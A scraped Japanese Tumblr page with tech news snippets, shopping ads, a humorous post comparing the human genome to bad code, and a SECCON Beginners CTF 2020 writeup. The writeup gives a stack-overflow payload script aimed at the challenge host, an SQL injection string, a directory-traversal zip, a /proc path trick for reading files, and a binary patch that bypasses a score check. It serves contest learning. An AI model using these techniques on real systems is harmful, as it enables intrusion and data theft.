/////////////////////////////////////////////////////////////////////先端技術情報////////////////////////////////////////////////////////////IOT 格安スマホのIIJ、値下げ消耗戦の活路IoTで探る 日本経済新聞 格安スマートフォン大手のインターネットイニシアティブ(IIJ)は法人向け通信ビジネスを強化する。あらゆるモノがネットにつながる「IoT」などの... 食の未来ファンド(kemuri ventures)、IoTスマート農業ロボット開発のレグミン社へ出資 PR TIMES IoTスマート農業ロボット開発のレグミン社とは. ≪Vision≫ 農業は現在変革期を迎えています。後継者不足・育成の難しさに対して、ロボットや人工... 日栄インテック、スマートミラー導入のIoT住宅 株式会社全国賃貸住宅新聞社 スマートホーム事業を展開する日栄インテック(東京都荒川区)は、ライト工務店(沖縄県宜野湾市)が手掛ける宅地分譲地区『てぃだむるぶし勝連』の... 仮想通貨「仮想通貨2000万円、売却のタイミングは?」早期リタイア目指す30歳、野望への順路は?Yahoo!ニュースそのために、仮想通貨の売却と、リタイアのタイミングについて迷っているそうですが……。FPの秋山芳生氏がお答えします。 【図表】税率と所得と... 週刊仮想通貨ニュース|米SECのリップル提訴で業界に激震、ビットコイン新高値260万円台到達 株式会社CoinPost 今週、仮想通貨(暗号資産)市場で関心集めたニュースは、米証券取引委員会(SEC)がリップル社を提訴したことを受け、専門家の見解をまとめた... ビットコインだけじゃない 人気ブロックチェーン技術 日本経済新聞 暗号資産(仮想通貨)の基盤技術として知られるブロックチェーン(分散型台帳)の活用が進んできた。基盤となるネットワークは「イーサリアム」... ビッグデータ企業がデータウェアハウスからより多くの価値を引き出せるよう支援するHightouchが2.2億円調達TechCrunch Japanビッグデータのデータウェアハウスプラットホームのすべてが、標準のクエリ言語としてSQLを使っていることが幸いした。それにウェアハウスの... 三菱商事、ネットワーク・コーポレーションとの資本業務提携に関するお知らせ エキサイトニュース 当社は、NWCの技術により収集・蓄積したビル・施設内のビッグデータを活用し、エネルギー利用の最適化によるCO2削減、人流解析を含めた... 新規出店の候補地の売上を、AIで予測するシステムをWEB化「milize 店舗戦略システム-WEB版ー ... All About NEWS AIと金融工学の株式会社MILIZEでは、AI分析にかかせないビッグデータの提供、AIモデルの開発、お客様が業務で利用するためのUI開発までを、「milize...
========================================
インターネット・コンピュータランキング
========================================
ネットサービスランキング
========================================
ビデオカメラ Rosdeca デジタルビデオカメラ ウェブカメラ 4K 4800万画素 WIFI機能 16倍デジタルズーム+8倍スーパーズーム IR赤外線暗視機能 デジタル補正 270度回転画面 予備バッテリー付属 望遠レンズ搭載 3.0インチタッチパネル 外付けマイク 日本語取扱説明書 カメラポーチ Amazon(アマゾン) 25,999円 [LesBliss Exclusive]K10グリーンアメジストピアス ママジュエリー専門店レスブリス 36,300円 ハイセンス 55V型 4Kチューナー内蔵 UHD 液晶テレビ [Amazon Prime Video対応] 3年保証 2020年モデル 55U7F Amazon(アマゾン) 88,000〜109,780円 青森りんご ふじ 280ml 24本入 | 送料無料 JAアオレン りんごジュース ストレート ジュース 無添加 ペットボトル りんご リンゴジュース ストレートジュース 飲み物 ケース アップルジュース ドリンク セット 内祝い お返し ギフト プレゼント 果汁100% 楽天市場 3,980円 【24本入り】健康ミネラルむぎ茶 PET650ml 飲料 まとめ買い ドリンク 飲み物 ペットボトル 水分補給 麦茶 カフェインゼロ むぎちゃ ミネラル 伊藤園 【D】 楽天市場 2,540円 ウェルチ 100%果汁ギフト【送料無料】夏ギフトセット☆食品 ジュース 飲み物 詰め合わせ 敬老の日 初盆 お供え物 法事 プレゼント 出産内祝い 結婚内祝い 出産祝い 結婚祝い 引き出物 お祝い お返し 香典返し 快気祝い お祝い返し メッセージカード 楽天市場 3,240円 アサヒ飲料 カルピス Lパック 1L 紙パック(口栓付) 1ケース(6本) 【送料無料】 楽天市場 3,648円 炭酸水 強炭酸水 【同種48本セット】伊賀の天然水 強炭酸水 500ml 炭酸飲料 まとめ買い ドリンク 500ミリリットル ペットボトル 飲み物 ソフトドリンク スパークリング 割り材 SANGARIA サンガリア プレーン レモン グレープフルーツ 【D】 楽天市場 2,830円 【48本入】トロピカーナ 100% オレンジ 330ml PET 送料無料 KIRIN Tropicana フルーツジュース セット ペットボトル 飲み物 栄養補給 キリンビバレッジ 【D】 楽天市場 5,280円 赤ワイン セット 6本 フルボディ スペイン フランス すべてパーカー90点以上 Amazon(アマゾン) 7,678円 アサヒ飲料 ウィルキンソン タンサン 炭酸水 500ml×24本 Amazon(アマゾン) 1,500〜4,000円 アサヒ スーパードライ 350ml×24本 Amazon(アマゾン) 4,498〜7,050円
NEW!2021-01-01 08:21:54
0 notes
Text
以前、とあるシステムのソースコードを読む機会があったのだけどあまりにひどかった。あのひどいコードでまあまあまともに動いているというのが逆に信じられない。今日昼ご飯を食べながら少し話していたのだけど意外と知られていないようなので、話せる範囲でいかにひどいのか説明してみようと思う。
まず、ソースコードが大雑把に見積もって3750万行あるのだけど、その中でまともに機能しているコードは3%しかない。10分の1程度のソースコードで同程度の機能を実現しているシステムもあるのでほんとあのシステムのコードはゴミだと言っても過言じゃない(*1)
プログラマとしてはなんでそのプロジェクトはそんな状態になってしまったのか気になるところだけども、まあ多くのプロジェクト同様、真相を知る人は誰もいない。でもまあ、実際に機能しているコードのコピーみたいなものがあちこちに散らばっていることからしてコピー&ペーストが盛んに行われていたのは間違いないと思う。それもゴミコードの40%くらいは「コピペして書き換えて新しい機能を実装」ですらない。とりあえずコピペだけして放置。全く役に立っていない。(*2)
Pythonのコードで説明すると
def func_a(…): # code of A # code of A # code of A
という関数があるところにコピペが行われて
def func_a(…): # code of A def func_b(…): # code of B # code of B # code of B # code of A # code of A
こんな状態になっていたりする。func_aとか例えていえばファイルを開いたけど読まないとか、SQLクエリを作ったけど発行しないとか、そういう役に立たないコードになっている。func_bの後半にくっついているAのコードに関してはBのコードの最後でreturnしているのでそもそも呼ばれすらしなかったりする。Pythonで書かれているわけじゃないんだけどこういうレベルのクオリティって話。まともに動いているのが信じられないよね。
なんでこれで機能停止せずに動き続けているかっていうと、まあ設計者が神がかっていたというかいかれてたというかフレームワークが「モジュール内の特定の条件を満たす関数を全部呼ぶ」という設計になっていて、壊れたAのコピーがあったとしても壊れていないAのコピーが1個でも残っていれば機能が失われないからなんだ。まあ100%安心ってことはないんだけどさ。で、そういう設計なので壊れて条件を満たさなくなった関数がゴロゴロしていても平気。ウェブアプリで言えば「/add_itemにアクセスするとアイテムの追加画面が出るんだけど、実は/append_itemにアクセスすると古い今では機能しない追加画面が出る」とかいう状況。
そうそう、ソースコードのバージョン管理もひどいんだ。っていうかバージョン管理してない。リポジトリがない。コードをいじりたかったらまず適当な人にコードをコピーしてもらう。で、いじる。いじって壊れて動かなくなっちゃったらデバッグできる人がいないから丸ごと削除して、また新しくコピーを貰う。そりゃー、重要なコードのコピーがあちこちにある方が壊れにくいから引き継がれやすいよね。なんか最近では「ソースコードはほぼ同じ内容のを2コピー持つ。引き継ぐときは二人の人から1個ずつもらうこと」なんて運用で致命的なバグを入れちゃう確率を下げているらしい。(*3) その貰った二つのコードセットをマージするところでまた適当にマージするもんだから同じものを2個入れてしまうとか逆になくしてしまうとかもよくやるらしい。ある機能に関してはもともと4タイプの入力フォーマットを受け付けていたのにいつの間にか2つに減ってしまって、仕方がないので1個コピーして3つ目を作っただの、コピーによっては実は4つに戻ってるだのと…。(*4)
よくこれで動いていると思うよ。誰かリファクタリングしないのかなぁ。無理か。
参考文献
* 1:「ヒトゲノムのおよそ97%は”ジャンク”であることが示されている。 これとは対照的にトラフグ(Fugu rubripes)のゲノムサイズは人間の1/10程度しかないが、ゲノムの1/3に有効な遺伝子としてコードされており、ほぼヒトと同数の遺伝子をもっていると考えられている。」ジャンクDNA - Wikipedia * 2:「トランスポゾン (Transposon) は細胞内においてゲノム上の位置を転移 (transposition) することのできる塩基配列である。」「ゲノムプロジェクトの進行により、ヒトやマウスのゲノムにおいてタンパク質をコードする領域は 1% 以下であり、残りの 40% 以上はトランスポゾンが占めていることがわかってきた。」トランスポゾン - Wikipedia 「レトロトランスポゾンの転移では、DNA 配列の複製が起こる。」「LTR 型レトロトランスポゾンは、ヒトゲノムの約8% 」「ヒトゲノムは、約 500,000 の LINE を含むが、これは、ゲノム全体の 21% にあたる。」「SINE は、ヒトゲノムの 13.5% を占める。」 * 3: 有性生殖 - Wikipediaのこと。 * 4:「ヒトや近縁の霊長類は通常3種類の錐体細胞を持ち、3色型色覚であるが、 ヒトにおいては4種類の錐体細胞を持った4色型色覚の女性が生まれうる[1]。世界の女性の2〜3%は4色型色覚であると発表されている[2]。だが別の研究によれば女性で50%、男性で8%もの人々が4色の光色素を持つだろうという[1]。」色 - Wikipedia
” -
そろそろ例のプロジェクトについて言及するか - 西尾泰和のはてなダイアリー
「設計者が神がかっていた」
(via ishida)
(via gonsee)
(via shimobayashi)
0 notes
negusema · 4 years
Text
SECCON Beginners CTF 2020 writeup
Tumblr media
writeupというのが何なのかよくわかってないですが、それっぽいのを書いてみます。CTF歴は2018年のctf4b以来2回目です。
Welcome
Discordに貼られたFlagを入れるだけ。
Spy
リストにある名前を適当に入れてみると、一瞬でレスポンスが返る時もあれば1秒ぐらいかかる時もある。 1秒かかるやつ(たぶん暗号化とかで時間かかってそう)をあつめてチェックいれればよし。
R&B
頭にRがついてたらROT13の逆、頭にBがついてたらBase64のDecodeをすればよし。Python久々に書く上にPython3は初だったのでbytesとstrの型変換でとまどった。
import base64 flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' def b64decode(s): return base64.b64decode(s) def rrot13(s): def f(x): ch = x if ord('a') <= ch and ch <= ord('z'): ch = ch - 13 if ch < ord('a'): ch += ord('z') - ord('a')+1 elif ord('A') <= ch and ch <= ord('Z'): ch = ch - 13 if ch < ord('A'): ch += ord('Z') - ord('A')+1 return ch return bytes([f(x) for x in s]) while True: print(flag, flag[0]) if flag[0] == ord(b'B'): flag = b64decode(flag[1:]) elif flag[0] == ord(b'R'): flag = rrot13(flag[1:]) else: print("unkwno") exit()
mask
Ghidraで逆アセンブルしたところ、2つのビットマスクに対してFLAGを1文字ずつANDをとって、結果がそれぞれ期待した文字列になるかをチェックしていた。 2つのビットマスクの情報を合わせたら元のFLAGを復元できるので、復元する。
package main import ( "fmt" ) func main() { k1 := "atd4`qdedtUpetepqeUdaaeUeaqau" k2 := "c`b bk`kj`KbababcaKbacaKiacki" m1 := byte(0x75) m2 := byte(0xeb) for i := 0; i < len(k1); i++ { var b byte b = (k1[i] & m1) | (k2[i] & m2) fmt.Printf("%c", b) } }
Beginner's Stack
適当に埋めてったらRSP is misaligned!って言われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1したら大丈夫だった(よくわからん…)。
from socket import * from struct import * from time import sleep from telnetlib import Telnet s = socket(AF_INET, SOCK_STREAM) s.connect(("bs.quals.beginners.seccon.jp", 9001)) s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00') t = Telnet() t.sock = s t.interact()
ググったところtelnetlibというのを使っている方がいたので真似した。 Pythonは標準ライブラリが豊富ですごいなあとおもいました。
readme
/からのパスであること、ctfという文字列を含まないことという制約がある。 最初エスケープシーケンスとかでがんばれば回避できるかと思って試したけどうまくいかなかった。 その後、/proc/self/cwd経由の相対パスならいけることがわかった。 カレントディレクトリは/proc/self/environのPWDから取れる。
emoemoencode
Flagのフォーマット的にctf{xxx}なので、最初の文字がcに相当するとしてシーザー復号すればよし。
s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽" ss = "" for c in s: d = ord(c)-127843+ord('c') print(ord(c), chr(d)) ss += chr(d) print(ss)
Tweetstore
'を\'とエンコードしているが、\'を入力すれば\\'になるのでシングルクオートを閉じることが���きる。 あとはコメントで後続のクエリを無視して、\' UNION select user, user, now() --をsearch wordに入れれば解ける。
unzip
https://github.com/ptoomey3/evilarc これでdirectory traversalなzipをつくったらいけた。
python evilarc.py flag.txt --depth 7 --os unix
sneaky
Ghidraで逆アセンブルしたところ、ソースが複雑でよくわからなかった。 適当にぽちぽち見てたらちょうどGAMEOVER出力してるっぽいところがあって、 その近辺で10000という定数と比較しているコードがあった。 10000がハイスコア閾値なんじゃ…と思い、バイナリエディタで実行ファイルを書き換えて0にしてみる。 10000(0x0f27)が出てくるところは4箇所あって、1個だけ書き換えるだとだめで、全部書き換えたところアイテムを1個取るだけでOKになった。
0 notes
delalunaofficedays · 4 years
Text
【XAMPP】max_allowed_packetの設定を変更する
EC CUBEなどで大量の商品のデータを削除したりアップしたりする際に、 SQL文で一括で登録しよう!というタイミングがあるかと思います。 例えば 
SET foreign_key_checks=0; TRUNCATE TABLE `dtb_product`; TRUNCATE TABLE `dtb_product_class`; SET foreign_key_checks=1;
などのSQL文をphpmyadminから試した時に、外部キー制約のエラーが出ました。
SET foreign_key_checks=0;してるのにな~と思ってたらクエリが大きすぎるようです。 ちゃんとクエリが大きすぎるってエラーが出ないってのもおかしな話ですね。
Tumblr media
C:\xampp\mysql\bin に my.ini があると思いますので max_allowed_packet の記述を探し…
View On WordPress
0 notes